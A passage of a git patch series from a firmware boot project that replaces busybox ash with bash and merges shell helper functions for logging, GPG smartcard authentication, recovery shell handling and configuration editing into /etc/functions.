will turn off console technical output.\n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_QUIET_MODE" "y" + #DEBUG+TRACE is incompatible with QUIET mode, turn it off + set_user_config "CONFIG_DEBUG_OUTPUT" "n" + set_user_config "CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" "n" + whiptail --title 'Config change successful' \ + --msgbox "Quiet mode enabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + else + if (whiptail --title 'Disable Quiet mode?' \ + --yesno "This will disable QUIET mode, which will turn on console technical output.\n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_QUIET_MODE" "n" + whiptail --title 'Config change successful' \ + --msgbox "Quiet mode disabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + fi + ;; + esac done exit 0 From 08f52af033411286aefd77eca6ec09d993462b7c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 16 Dec 2024 11:46:37 -0500 Subject: [PATCH 428/619] Deprecate ash in favor of bash shell; /etc/ash_functions: move /etc/ash_functions under /etc/functions, replace TRACE calls by TRACE_FUNC, remove xx30-flash.init Signed-off-by: Thierry Laurion --- initrd/bin/flash.sh | 6 +- initrd/bin/lock_chip | 7 +- initrd/bin/poweroff | 6 +- initrd/bin/reboot | 6 +- initrd/bin/xx30-flash.init | 27 --- initrd/etc/ash_functions | 385 ------------------------------------ initrd/etc/functions | 388 ++++++++++++++++++++++++++++++++++++- initrd/init | 8 +- 8 files changed, 402 insertions(+), 431 deletions(-) delete mode 100755 initrd/bin/xx30-flash.init delete mode 100644 initrd/etc/ash_functions mode change 100755 => 100644 initrd/etc/functions diff --git a/initrd/bin/flash.sh b/initrd/bin/flash.sh index cd5b9a6e1..c5389a11a 100755 --- a/initrd/bin/flash.sh +++ b/initrd/bin/flash.sh @@ -1,14 +1,14 @@ -#!/bin/ash +#!/bin/bash # # NOTE: This script is used on legacy-flash boards and runs with busybox ash, # not bash set -e -o pipefail -. /etc/ash_functions +. /etc/functions . /tmp/config echo -TRACE "Under /bin/flash.sh" +TRACE_FUNC case "$CONFIG_FLASH_OPTIONS" in "" ) diff --git a/initrd/bin/lock_chip b/initrd/bin/lock_chip index 6085b84e9..26c9c1c78 100755 --- a/initrd/bin/lock_chip +++ b/initrd/bin/lock_chip @@ -1,14 +1,13 @@ -#!/bin/sh +#!/bin/bash # For this to work: # - io386 module needs to be enabled in board config # - =Skylake: same as above and CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y, CONFIG_SPI_FLASH_SMM=y and mode (eg: CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y) # - Heads is actually doing the CONFIG_INTEL_CHIPSET_LOCKDOWN equivalent here. -#include ash shell functions (TRACE requires it) -. /etc/ash_functions +. /etc/functions -TRACE "Under /bin/lock_chip" +TRACE_FUNC if [ "$CONFIG_FINALIZE_PLATFORM_LOCKING" = "y" ]; then APM_CNT=0xb2 FIN_CODE=0xcb diff --git a/initrd/bin/poweroff b/initrd/bin/poweroff index ef4bdf863..bbf0a7496 100755 --- a/initrd/bin/poweroff +++ b/initrd/bin/poweroff @@ -1,7 +1,7 @@ -#!/bin/ash -. /etc/ash_functions +#!/bin/bash +. /etc/functions -TRACE "Under /bin/poweroff" +TRACE_FUNC # Shut down TPM if [ "$CONFIG_TPM" = "y" ]; then diff --git a/initrd/bin/reboot b/initrd/bin/reboot index 358931e9c..ce7e6947d 100755 --- a/initrd/bin/reboot +++ b/initrd/bin/reboot @@ -1,7 +1,7 @@ -#!/bin/ash -. /etc/ash_functions +#!/bin/bash +. /etc/functions -TRACE "Under /bin/reboot" +TRACE_FUNC if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then #Generalize user prompt to continue reboot or go to recovery shell diff --git a/initrd/bin/xx30-flash.init b/initrd/bin/xx30-flash.init deleted file mode 100755 index ca2fa8f67..000000000 --- a/initrd/bin/xx30-flash.init +++ /dev/null @@ -1,27 +0,0 @@ -#!/bin/ash -# Initialize the USB and network device drivers, -# invoke a recovery shell and prompt the user for how to proceed - -. /etc/ash_functions -. /tmp/config - -TRACE "Under /bin/xx30-flash.init" - -busybox insmod /lib/modules/ehci-hcd.ko -busybox insmod /lib/modules/ehci-pci.ko -busybox insmod /lib/modules/xhci-hcd.ko -busybox insmod /lib/modules/xhci-pci.ko -busybox insmod /lib/modules/e1000e.ko -busybox insmod /lib/modules/usb-storage.ko - -sleep 2 - -echo '***** Starting recovery shell' -echo '' -echo 'To install from flash drive:' -echo '' -echo ' mount -o ro /dev/sdb1 /media' -echo ' flash.sh /media/xx30-legacy.rom' -echo '' - -exec /bin/sh diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions deleted file mode 100644 index e60c58465..000000000 --- a/initrd/etc/ash_functions +++ /dev/null @@ -1,385 +0,0 @@ -#!/bin/sh -# -# Core shell functions that do not require bash. These functions are used with -# busybox ash on legacy-flash boards, and with bash on all other boards. - -die() { - if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then - echo -e " !!! ERROR: $* !!!" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; - else - echo -e >&2 "!!! ERROR: $* !!!"; - fi - sleep 2; - exit 1; -} - -warn() { - if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then - echo -e " *** WARNING: $* ***" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; - else - echo -e >&2 " *** WARNING: $* ***"; - fi - sleep 1; -} - -DEBUG() { - if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then - # fold -s -w 960 will wrap lines at 960 characters on the last space before the limit - echo "DEBUG: $*" | fold -s -w 960 | while read line; do - echo "$line" | tee -a /tmp/debug.log /dev/kmsg >/dev/null - done - fi -} - -TRACE() { - if [ "$CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" = "y" ];then - echo "TRACE: $*" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; - fi -} - -# Write directly to the debug log (but not kmsg), never appears on console -LOG() { - # if not CONFIG_QUIET_MODE=y, output to console. If not, output to debug.log - if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then - DEBUG "$*" - elif [ "$CONFIG_QUIET_MODE" = "y" ]; then - # if in quiet mode, output solely to debug.log - echo "$*" >> /tmp/debug.log - else - # if not in quiet mode, output to console - echo "$*" - fi -} - -fw_version() { - local FW_VER=$(dmesg | grep 'DMI' | grep -o 'BIOS.*' | cut -f2- -d ' ') - # chop off date, since will always be epoch w/timeless builds - echo "${FW_VER::-10}" -} - -preserve_rom() { - TRACE "Under /etc/ash_functions:preserve_rom" - new_rom="$1" - old_files=`cbfs -t 50 -l 2>/dev/null | grep "^heads/"` - - for old_file in `echo $old_files`; do - new_file=`cbfs.sh -o $1 -l | grep -x $old_file` - if [ -z "$new_file" ]; then - echo "+++ Adding $old_file to $1" - cbfs -t 50 -r $old_file >/tmp/rom.$$ \ - || die "Failed to read cbfs file from ROM" - cbfs.sh -o $1 -a $old_file -f /tmp/rom.$$ \ - || die "Failed to write cbfs file to new ROM file" - fi - done -} - -confirm_gpg_card() { - - #TODO: ideally, we ask for confirmation only once per boot session - #TODO: even change logic here to try first and then ask user to confirm if not found - #TODO: or ask GPG user PIN once and cache it for the rest of the boot session for reusal - # This is getting in the way of unattended stuff and GPG prompts are confusing anyway, hide them from user. - - - TRACE "Under /etc/ash_functions:confirm_gpg_card" - #Skip prompts if we are currently using a known GPG key material Thumb drive backup and keys are unlocked pinentry - #TODO: probably export CONFIG_GPG_KEY_BACKUP_IN_USE but not under /etc/user.config? - #Toggle to come in next PR, but currently we don't have a way to toggle it back to n if config.user flashed back in rom - if [[ "$CONFIG_HAVE_GPG_KEY_BACKUP" == "y" && "$CONFIG_GPG_KEY_BACKUP_IN_USE" == "y" ]]; then - DEBUG "Using known GPG key material Thumb drive backup and keys are unlocked and useable through pinentry" - return - fi - - if [ "$CONFIG_HAVE_GPG_KEY_BACKUP" == "y" ]; then - message="Please confirm that your GPG card is inserted(Y/n) or your GPG key material (b)backup thumbdrive is inserted [Y/n/b]: " - else - # Generic message if no known key material backup - message="Please confirm that your GPG card is inserted [Y/n]: " - fi - - read \ - -n 1 \ - -p "$message" \ - card_confirm - echo - - if [ "$card_confirm" != "y" \ - -a "$card_confirm" != "Y" \ - -a "$card_confirm" != "b" \ - -a -n "$card_confirm" ] \ - ; then - die "gpg card not confirmed" - fi - - # If user has known GPG key material Thumb drive backup and asked to use it - if [[ "$CONFIG_HAVE_GPG_KEY_BACKUP" == "y" && "$card_confirm" == "b" ]]; then - #Only mount and import GPG key material thumb drive backup once - if [ ! "$CONFIG_GPG_KEY_BACKUP_IN_USE" == "y" ]; then - CR_NONCE="/tmp/secret/cr_nonce" - CR_SIG="$CR_NONCE.sig" - - #Wipe any previous CR_NONCE and CR_SIG - shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" >/dev/null 2>&1 || true - - #Prompt user for configured GPG Admin PIN that will be passed along to mount-usb and to import gpg subkeys - echo - gpg_admin_pin="" - while [ -z "$gpg_admin_pin" ]; do - #TODO: change all passphrase prompts in codebase to include -r to prevent backslash escapes - read -r -s -p "Please enter GPG Admin PIN needed to use the GPG backup thumb drive: " gpg_admin_pin - echo - done - #prompt user to select the proper encrypted partition, which should the first one on next prompt - warn "Please select encrypted LUKS on GPG key material backup thumb drive (not public labeled one)" - mount-usb --pass "$gpg_admin_pin" || die "Unable to mount USB with provided GPG Admin PIN" - echo "++++ Testing detach-sign operation and verifiying against fused public key in ROM" - gpg --pinentry-mode=loopback --passphrase-file <(echo -n "${gpg_admin_pin}") --import /media/subkeys.sec >/dev/null 2>&1 || - die "Unable to import GPG private subkeys" - #Do a detach signature to ensure gpg material is usable and cache passphrase to sign /boot from caller functions - dd if=/dev/urandom of="$CR_NONCE" bs=20 count=1 >/dev/null 2>&1 || - die "Unable to create $CR_NONCE to be detach-signed with GPG private signing subkey" - gpg --pinentry-mode=loopback --passphrase-file <(echo -n "${gpg_admin_pin}") --detach-sign "$CR_NONCE" >/dev/null 2>&1 || - die "Unable to detach-sign $CR_NONCE with GPG private signing subkey using GPG Admin PIN" - #verify detached signature against public key in rom - gpg --verify "$CR_SIG" "$CR_NONCE" > /dev/null 2>&1 && \ - echo "++++ Local GPG keyring can be used to sign/encrypt/authenticate in this boot session ++++" || \ - die "Unable to verify $CR_SIG detached signature against public key in ROM" - #Wipe any previous CR_NONCE and CR_SIG - shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" >/dev/null 2>&1 || true - #TODO: maybe just an export instead of setting /etc/user.config otherwise could be flashed in weird corner case situation - set_user_config "CONFIG_GPG_KEY_BACKUP_IN_USE" "y" - umount /media || die "Unable to unmount USB" - return - fi - fi - - # setup the USB so we can reach the USB Security dongle's OpenPGP smartcard - enable_usb - - echo -e "\nVerifying presence of GPG card...\n" - # ensure we don't exit without retrying - errexit=$(set -o | grep errexit | awk '{print $2}') - set +e - gpg_output=$(gpg --card-status 2>&1) - if [ $? -ne 0 ]; then - # prompt for reinsertion and try a second time - read -n1 -r -p \ - "Can't access GPG key; remove and reinsert, then press Enter to retry. " \ - ignored - # restore prev errexit state - if [ "$errexit" = "on" ]; then - set -e - fi - # retry card status - gpg_output=$(gpg --card-status 2>&1) || - die "gpg card read failed" - fi - # restore prev errexit state - if [ "$errexit" = "on" ]; then - set -e - fi - - # Extract and display GPG PIN retry counters - # output excerpt: "PIN retry counter : 3 0 3" - pin_retry_counters=$(echo "$gpg_output" | grep 'PIN retry counter' | awk -F': ' '{print $2}') - user_pin_retries=$(echo "$pin_retry_counters" | awk '{print $1}') - admin_pin_retries=$(echo "$pin_retry_counters" | awk '{print $3}') - - echo "" - echo "GPG User PIN retry attempts left before becoming locked: $user_pin_retries" - echo "GPG Admin PIN retry attempts left before becoming locked: $admin_pin_retries" - echo "" - warn "Your GPG User PIN, followed by Enter key will be required for input at: 'Please unlock the card' next prompt" - echo "" -} - -gpg_auth() { - if [[ "$CONFIG_HAVE_GPG_KEY_BACKUP" == "y" ]]; then - TRACE "Under /etc/ash_functions:gpg_auth" - # If we have a GPG key backup, we can use it to authenticate even if the card is lost - echo >&2 "!!!!! Please authenticate with OpenPGP smartcard/backup media to prove you are the owner of this machine !!!!!" - - # Wipe any existing nonce and signature - shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" 2>/dev/null || true - - # In case of gpg_auth, we require confirmation of the card, so loop with confirm_gpg_card until we get it - false - while [ $? -ne 0 ]; do - # Call confirm_gpg_card in subshell to ensure GPG key material presence - ( confirm_gpg_card ) - done - - # Perform a signing-based challenge-response, - # to authencate that the card plugged in holding - # the key to sign the list of boot files. - - CR_NONCE="/tmp/secret/cr_nonce" - CR_SIG="$CR_NONCE.sig" - - # Generate a random nonce - dd \ - if=/dev/urandom \ - of="$CR_NONCE" \ - count=1 \ - bs=20 \ - 2>/dev/null \ - || die "Unable to generate 20 random bytes" - - # Sign the nonce - for tries in 1 2 3; do - if gpg --digest-algo SHA256 \ - --detach-sign \ - -o "$CR_SIG" \ - "$CR_NONCE" > /dev/null 2>&1 \ - && gpg --verify "$CR_SIG" "$CR_NONCE" > /dev/null 2>&1 \ - ; then - shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" 2>/dev/null || true - DEBUG "Under /etc/ash_functions:gpg_auth: success" - return 0 - else - shred -n 10 -z -u "$CR_SIG" 2>/dev/null || true - if [ "$tries" -lt 3 ]; then - echo >&2 "!!!!! GPG authentication failed, please try again !!!!!" - continue - else - die "GPG authentication failed, please reboot and try again" - fi - fi - done - return 1 - fi -} - -recovery() { - TRACE "Under /etc/ash_functions:recovery" - echo >&2 "!!!!! $*" - - # Remove any temporary secret files that might be hanging around - # but recreate the directory so that new tools can use it. - - #safe to always be true. Otherwise "set -e" would make it exit here - shred -n 10 -z -u /tmp/secret/* 2> /dev/null || true - rm -rf /tmp/secret - mkdir -p /tmp/secret - - # ensure /tmp/config exists for recovery scripts that depend on it - touch /tmp/config - . /tmp/config - - DEBUG "Board $CONFIG_BOARD - version $(fw_version)" - - if [ "$CONFIG_TPM" = "y" ]; then - LOG "TPM: Extending PCR[4] to prevent any further secret unsealing" - tpmr extend -ix 4 -ic recovery - fi - - if [ "$CONFIG_RESTRICTED_BOOT" = y ]; then - echo >&2 "Restricted Boot enabled, recovery console disabled, rebooting in 5 seconds" - sleep 5 - /bin/reboot - fi - while [ true ] - do - #Going to recovery shell should be authenticated if supported - gpg_auth - - echo >&2 "!!!!! Starting recovery shell" - sleep 1 - - if [ -x /bin/setsid ]; then - /bin/setsid -c /bin/sh - else - /bin/sh - fi - done -} - -pause_recovery() { - TRACE "Under /etc/ash_functions:pause_recovery" - read -p $'!!! Hit enter to proceed to recovery shell !!!\n' - recovery $* -} - -combine_configs() { - TRACE "Under /etc/ash_functions:combine_configs" - cat /etc/config* > /tmp/config -} - -replace_config() { - TRACE "Under /etc/functions:replace_config" - CONFIG_FILE=$1 - CONFIG_OPTION=$2 - NEW_SETTING=$3 - - touch $CONFIG_FILE - # first pull out the existing option from the global config and place in a tmp file - awk "gsub(\"^export ${CONFIG_OPTION}=.*\",\"export ${CONFIG_OPTION}=\\\"${NEW_SETTING}\\\"\")" /tmp/config >${CONFIG_FILE}.tmp - awk "gsub(\"^${CONFIG_OPTION}=.*\",\"${CONFIG_OPTION}=\\\"${NEW_SETTING}\\\"\")" /tmp/config >>${CONFIG_FILE}.tmp - - # then copy any remaining settings from the existing config file, minus the option you changed - grep -v "^export ${CONFIG_OPTION}=" ${CONFIG_FILE} | grep -v "^${CONFIG_OPTION}=" >>${CONFIG_FILE}.tmp || true - sort ${CONFIG_FILE}.tmp | uniq >${CONFIG_FILE} - rm -f ${CONFIG_FILE}.tmp -} - -# Set a config variable in a specific file to a given value - replace it if it -# exists, or add it. If added, the variable will be exported. -set_config() { - CONFIG_FILE="$1" - CONFIG_OPTION="$2" - NEW_SETTING="$3" - - if grep -q "$CONFIG_OPTION" "$CONFIG_FILE"; then - replace_config "$CONFIG_FILE" "$CONFIG_OPTION" "$NEW_SETTING" - else - echo "export $CONFIG_OPTION=\"$NEW_SETTING\"" >>"$CONFIG_FILE" - fi -} - -# Set a value in config.user, re-combine configs, and update configs in the -# environment. -set_user_config() { - CONFIG_OPTION="$1" - NEW_SETTING="$2" - - set_config /etc/config.user "$CONFIG_OPTION" "$NEW_SETTING" - combine_configs - . /tmp/config -} - -# Load a config value to a variable, defaulting to empty. Does not fail if the -# config is not set (since it would expand to empty by default). -load_config_value() { - local config_name="$1" - if grep -q "$config_name=" /tmp/config; then - grep "$config_name=" /tmp/config | tail -n1 | cut -f2 -d '=' | tr -d '"' - fi -} - -enable_usb() -{ - TRACE "Under /etc/ash_functions:enable_usb" - #insmod ehci_hcd prior of uhdc_hcd and ohci_hcd to suppress dmesg warning - insmod /lib/modules/ehci-hcd.ko || die "ehci_hcd: module load failed" - - if [ "$CONFIG_LINUX_USB_COMPANION_CONTROLLER" = y ]; then - insmod /lib/modules/uhci-hcd.ko || die "uhci_hcd: module load failed" - insmod /lib/modules/ohci-hcd.ko || die "ohci_hcd: module load failed" - insmod /lib/modules/ohci-pci.ko || die "ohci_pci: module load failed" - fi - insmod /lib/modules/ehci-pci.ko || die "ehci_pci: module load failed" - insmod /lib/modules/xhci-hcd.ko || die "xhci_hcd: module load failed" - insmod /lib/modules/xhci-pci.ko || die "xhci_pci: module load failed" - sleep 2 - - # For resiliency, test CONFIG_USB_KEYBOARD_REQUIRED explicitly rather - # than having it imply CONFIG_USER_USB_KEYBOARD at build time. - # Otherwise, if a user got CONFIG_USER_USB_KEYBOARD=n in their - # config.user by mistake (say, by copying config.user from a laptop to a - # desktop/server), they could lock themselves out, only recoverable by - # hardware flash. - if [ "$CONFIG_USB_KEYBOARD_REQUIRED" = y ] || [ "$CONFIG_USER_USB_KEYBOARD" = y ]; then - insmod /lib/modules/usbhid.ko || die "usbhid: module load failed" - fi -} diff --git a/initrd/etc/functions b/initrd/etc/functions old mode 100755 new mode 100644 index 311644a8c..47ea70ce2 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1,6 +1,390 @@ #!/bin/bash -# Shell functions for most initialization scripts -. /etc/ash_functions + +# ------- Start of functions coming from /etc/ash_functions + +die() { + if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then + echo -e " !!! ERROR: $* !!!" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; + else + echo -e >&2 "!!! ERROR: $* !!!"; + fi + sleep 2; + exit 1; +} + +warn() { + if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then + echo -e " *** WARNING: $* ***" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; + else + echo -e >&2 " *** WARNING: $* ***"; + fi + sleep 1; +} + +DEBUG() { + if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then + # fold -s -w 960 will wrap lines at 960 characters on the last space before the limit + echo "DEBUG: $*" | fold -s -w 960 | while read line; do + echo "$line" | tee -a /tmp/debug.log /dev/kmsg >/dev/null + done + fi +} + +TRACE() { + if [ "$CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" = "y" ];then + echo "TRACE: $*" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; + fi +} + +# Write directly to the debug log (but not kmsg), never appears on console +LOG() { + # if not CONFIG_QUIET_MODE=y, output to console. If not, output to debug.log + if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then + DEBUG "$*" + elif [ "$CONFIG_QUIET_MODE" = "y" ]; then + # if in quiet mode, output solely to debug.log + echo "$*" >> /tmp/debug.log + else + # if not in quiet mode, output to console + echo "$*" + fi +} + +fw_version() { + local FW_VER=$(dmesg | grep 'DMI' | grep -o 'BIOS.*' | cut -f2- -d ' ') + # chop off date, since will always be epoch w/timeless builds + echo "${FW_VER::-10}" +} + +preserve_rom() { + TRACE_FUNC + new_rom="$1" + old_files=`cbfs -t 50 -l 2>/dev/null | grep "^heads/"` + + for old_file in `echo $old_files`; do + new_file=`cbfs.sh -o $1 -l | grep -x $old_file` + if [ -z "$new_file" ]; then + echo "+++ Adding $old_file to $1" + cbfs -t 50 -r $old_file >/tmp/rom.$$ \ + || die "Failed to read cbfs file from ROM" + cbfs.sh -o $1 -a $old_file -f /tmp/rom.$$ \ + || die "Failed to write cbfs file to new ROM file" + fi + done +} + +confirm_gpg_card() { + + #TODO: ideally, we ask for confirmation only once per boot session + #TODO: even change logic here to try first and then ask user to confirm if not found + #TODO: or ask GPG user PIN once and cache it for the rest of the boot session for reusal + # This is getting in the way of unattended stuff and GPG prompts are confusing anyway, hide them from user. + + + TRACE_FUNC + #Skip prompts if we are currently using a known GPG key material Thumb drive backup and keys are unlocked pinentry + #TODO: probably export CONFIG_GPG_KEY_BACKUP_IN_USE but not under /etc/user.config? + #Toggle to come in next PR, but currently we don't have a way to toggle it back to n if config.user flashed back in rom + if [[ "$CONFIG_HAVE_GPG_KEY_BACKUP" == "y" && "$CONFIG_GPG_KEY_BACKUP_IN_USE" == "y" ]]; then + DEBUG "Using known GPG key material Thumb drive backup and keys are unlocked and useable through pinentry" + return + fi + + if [ "$CONFIG_HAVE_GPG_KEY_BACKUP" == "y" ]; then + message="Please confirm that your GPG card is inserted(Y/n) or your GPG key material (b)backup thumbdrive is inserted [Y/n/b]: " + else + # Generic message if no known key material backup + message="Please confirm that your GPG card is inserted [Y/n]: " + fi + + read \ + -n 1 \ + -p "$message" \ + card_confirm + echo + + if [ "$card_confirm" != "y" \ + -a "$card_confirm" != "Y" \ + -a "$card_confirm" != "b" \ + -a -n "$card_confirm" ] \ + ; then + die "gpg card not confirmed" + fi + + # If user has known GPG key material Thumb drive backup and asked to use it + if [[ "$CONFIG_HAVE_GPG_KEY_BACKUP" == "y" && "$card_confirm" == "b" ]]; then + #Only mount and import GPG key material thumb drive backup once + if [ ! "$CONFIG_GPG_KEY_BACKUP_IN_USE" == "y" ]; then + CR_NONCE="/tmp/secret/cr_nonce" + CR_SIG="$CR_NONCE.sig" + + #Wipe any previous CR_NONCE and CR_SIG + shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" >/dev/null 2>&1 || true + + #Prompt user for configured GPG Admin PIN that will be passed along to mount-usb and to import gpg subkeys + echo + gpg_admin_pin="" + while [ -z "$gpg_admin_pin" ]; do + #TODO: change all passphrase prompts in codebase to include -r to prevent backslash escapes + read -r -s -p "Please enter GPG Admin PIN needed to use the GPG backup thumb drive: " gpg_admin_pin + echo + done + #prompt user to select the proper encrypted partition, which should the first one on next prompt + warn "Please select encrypted LUKS on GPG key material backup thumb drive (not public labeled one)" + mount-usb --pass "$gpg_admin_pin" || die "Unable to mount USB with provided GPG Admin PIN" + echo "++++ Testing detach-sign operation and verifiying against fused public key in ROM" + gpg --pinentry-mode=loopback --passphrase-file <(echo -n "${gpg_admin_pin}") --import /media/subkeys.sec >/dev/null 2>&1 || + die "Unable to import GPG private subkeys" + #Do a detach signature to ensure gpg material is usable and cache passphrase to sign /boot from caller functions + dd if=/dev/urandom of="$CR_NONCE" bs=20 count=1 >/dev/null 2>&1 || + die "Unable to create $CR_NONCE to be detach-signed with GPG private signing subkey" + gpg --pinentry-mode=loopback --passphrase-file <(echo -n "${gpg_admin_pin}") --detach-sign "$CR_NONCE" >/dev/null 2>&1 || + die "Unable to detach-sign $CR_NONCE with GPG private signing subkey using GPG Admin PIN" + #verify detached signature against public key in rom + gpg --verify "$CR_SIG" "$CR_NONCE" > /dev/null 2>&1 && \ + echo "++++ Local GPG keyring can be used to sign/encrypt/authenticate in this boot session ++++" || \ + die "Unable to verify $CR_SIG detached signature against public key in ROM" + #Wipe any previous CR_NONCE and CR_SIG + shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" >/dev/null 2>&1 || true + #TODO: maybe just an export instead of setting /etc/user.config otherwise could be flashed in weird corner case situation + set_user_config "CONFIG_GPG_KEY_BACKUP_IN_USE" "y" + umount /media || die "Unable to unmount USB" + return + fi + fi + + # setup the USB so we can reach the USB Security dongle's OpenPGP smartcard + enable_usb + + echo -e "\nVerifying presence of GPG card...\n" + # ensure we don't exit without retrying + errexit=$(set -o | grep errexit | awk '{print $2}') + set +e + gpg_output=$(gpg --card-status 2>&1) + if [ $? -ne 0 ]; then + # prompt for reinsertion and try a second time + read -n1 -r -p \ + "Can't access GPG key; remove and reinsert, then press Enter to retry. " \ + ignored + # restore prev errexit state + if [ "$errexit" = "on" ]; then + set -e + fi + # retry card status + gpg_output=$(gpg --card-status 2>&1) || + die "gpg card read failed" + fi + # restore prev errexit state + if [ "$errexit" = "on" ]; then + set -e + fi + + # Extract and display GPG PIN retry counters + # output excerpt: "PIN retry counter : 3 0 3" + pin_retry_counters=$(echo "$gpg_output" | grep 'PIN retry counter' | awk -F': ' '{print $2}') + user_pin_retries=$(echo "$pin_retry_counters" | awk '{print $1}') + admin_pin_retries=$(echo "$pin_retry_counters" | awk '{print $3}') + + echo "" + echo "GPG User PIN retry attempts left before becoming locked: $user_pin_retries" + echo "GPG Admin PIN retry attempts left before becoming locked: $admin_pin_retries" + echo "" + warn "Your GPG User PIN, followed by Enter key will be required for input at: 'Please unlock the card' next prompt" + echo "" +} + +gpg_auth() { + if [[ "$CONFIG_HAVE_GPG_KEY_BACKUP" == "y" ]]; then + TRACE_FUNC + # If we have a GPG key backup, we can use it to authenticate even if the card is lost + echo >&2 "!!!!! Please authenticate with OpenPGP smartcard/backup media to prove you are the owner of this machine !!!!!" + + # Wipe any existing nonce and signature + shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" 2>/dev/null || true + + # In case of gpg_auth, we require confirmation of the card, so loop with confirm_gpg_card until we get it + false + while [ $? -ne 0 ]; do + # Call confirm_gpg_card in subshell to ensure GPG key material presence + ( confirm_gpg_card ) + done + + # Perform a signing-based challenge-response, + # to authencate that the card plugged in holding + # the key to sign the list of boot files. + + CR_NONCE="/tmp/secret/cr_nonce" + CR_SIG="$CR_NONCE.sig" + + # Generate a random nonce + dd \ + if=/dev/urandom \ + of="$CR_NONCE" \ + count=1 \ + bs=20 \ + 2>/dev/null \ + || die "Unable to generate 20 random bytes" + + # Sign the nonce + for tries in 1 2 3; do + if gpg --digest-algo SHA256 \ + --detach-sign \ + -o "$CR_SIG" \ + "$CR_NONCE" > /dev/null 2>&1 \ + && gpg --verify "$CR_SIG" "$CR_NONCE" > /dev/null 2>&1 \ + ; then + shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" 2>/dev/null || true + DEBUG "Under /etc/ash_functions:gpg_auth: success" + return 0 + else + shred -n 10 -z -u "$CR_SIG" 2>/dev/null || true + if [ "$tries" -lt 3 ]; then + echo >&2 "!!!!! GPG authentication failed, please try again !!!!!" + continue + else + die "GPG authentication failed, please reboot and try again" + fi + fi + done + return 1 + fi +} + +recovery() { + TRACE_FUNC + echo >&2 "!!!!! $*" + + # Remove any temporary secret files that might be hanging around + # but recreate the directory so that new tools can use it. + + #safe to always be true. Otherwise "set -e" would make it exit here + shred -n 10 -z -u /tmp/secret/* 2> /dev/null || true + rm -rf /tmp/secret + mkdir -p /tmp/secret + + # ensure /tmp/config exists for recovery scripts that depend on it + touch /tmp/config + . /tmp/config + + DEBUG "Board $CONFIG_BOARD - version $(fw_version)" + + if [ "$CONFIG_TPM" = "y" ]; then + LOG "TPM: Extending PCR[4] to prevent any further secret unsealing" + tpmr extend -ix 4 -ic recovery + fi + + if [ "$CONFIG_RESTRICTED_BOOT" = y ]; then + echo >&2 "Restricted Boot enabled, recovery console disabled, rebooting in 5 seconds" + sleep 5 + /bin/reboot + fi + while [ true ] + do + #Going to recovery shell should be authenticated if supported + gpg_auth + + echo >&2 "!!!!! Starting recovery shell" + sleep 1 + + if [ -x /bin/setsid ]; then + /bin/setsid -c /bin/sh + else + /bin/sh + fi + done +} + +pause_recovery() { + TRACE_FUNC + read -p $'!!! Hit enter to proceed to recovery shell !!!\n' + recovery $* +} + +combine_configs() { + TRACE_FUNC + cat /etc/config* > /tmp/config +} + +replace_config() { + TRACE_FUNC + CONFIG_FILE=$1 + CONFIG_OPTION=$2 + NEW_SETTING=$3 + + touch $CONFIG_FILE + # first pull out the existing option from the global config and place in a tmp file + awk "gsub(\"^export ${CONFIG_OPTION}=.*\",\"export ${CONFIG_OPTION}=\\\"${NEW_SETTING}\\\"\")" /tmp/config >${CONFIG_FILE}.tmp + awk "gsub(\"^${CONFIG_OPTION}=.*\",\"${CONFIG_OPTION}=\\\"${NEW_SETTING}\\\"\")" /tmp/config >>${CONFIG_FILE}.tmp + + # then copy any remaining settings from the existing config file, minus the option you changed + grep -v "^export ${CONFIG_OPTION}=" ${CONFIG_FILE} | grep -v "^${CONFIG_OPTION}=" >>${CONFIG_FILE}.tmp || true + sort ${CONFIG_FILE}.tmp | uniq >${CONFIG_FILE} + rm -f ${CONFIG_FILE}.tmp +} + +# Set a config variable in a specific file to a given value - replace it if it +# exists, or add it. If added, the variable will be exported. +set_config() { + CONFIG_FILE="$1" + CONFIG_OPTION="$2" + NEW_SETTING="$3" + + if grep -q "$CONFIG_OPTION" "$CONFIG_FILE"; then + replace_config "$CONFIG_FILE" "$CONFIG_OPTION" "$NEW_SETTING" + else + echo "export $CONFIG_OPTION=\"$NEW_SETTING\"" >>"$CONFIG_FILE" + fi +} + +# Set a value in config.user, re-combine configs, and update configs in the +# environment. +set_user_config() { + CONFIG_OPTION="$1" + NEW_SETTING="$2" + + set_config /etc/config.user "$CONFIG_OPTION" "$NEW_SETTING" + combine_configs + . /tmp/config +} + +# Load a config value to a variable, defaulting to empty. Does not fail if the +# config is not set (since it would expand to empty by default). +load_config_value() { + local config_name="$1" + if grep -q "$config_name=" /tmp/config; then + grep "$config_name=" /tmp/config | tail -n1 | cut -f2 -d '=' | tr -d '"' + fi +} + 